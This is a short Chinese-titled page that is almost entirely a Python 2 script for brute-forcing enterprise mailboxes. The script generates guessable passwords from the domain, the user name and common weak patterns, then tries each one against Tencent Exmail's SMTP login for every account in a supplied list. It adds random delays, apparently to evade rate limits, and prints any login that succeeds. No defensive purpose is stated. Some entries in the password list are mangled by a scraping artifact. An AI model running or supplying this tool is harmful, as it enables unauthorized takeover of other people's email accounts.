某企业邮箱爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# coding: utf-8

import smtplib
import random
import time
import sys


def tencent(user, password):
    time.sleep(random.uniform(2, 6))
    smtp_server = "smtp.exmail.qq.com"
    smtp_port = 587
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.starttls()
    try:
        server.login(user, password)
        print '[+]----------auth success------%s' % password
    except smtplib.SMTPAuthenticationError as e:
        print '[+] Auth Fail %s: %s' % (user, password)


def genpasswd(user, suffix):
    domain = suffix.split('.')[0]
    password = []
    password.append(domain + '@123')
    password.append(domain + '@1234')
    name = user.split('@')[0]
    wake_value=['[email protected]#$%^1qazxsw2 ', '[email protected]#', 'Abc123', '123456aa~', 'qazwsx123', '1qaz2wsx', 'asd123456', '123456a~', 'Asdf1234', 'Qwer1234', 'Abcd1234', 'a123456', '123456a', name[0].upper()+name[1:]+'123', name+'123', name+'1234',name+'@2016', name+'@2017']
    password.extend(wake_value)
    return password


def genusers(userfiles, suffix):
    users = []
    with open(userfiles, 'rb') as f:
        while 1:
            user = f.readline().strip()
            if user == '':
                break
            users.append(user + '@' + suffix)
        return users

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print 'Usage: %s userfile domain' % sys.argv[0]
        print '%s users.txt baidu.com' % sys.argv[0]
        exit(0)
    userfile = sys.argv[1]
    suffix = sys.argv[2]
    for user in genusers(userfile, suffix):
        for password in genpasswd(user, suffix):
            tencent(user, password)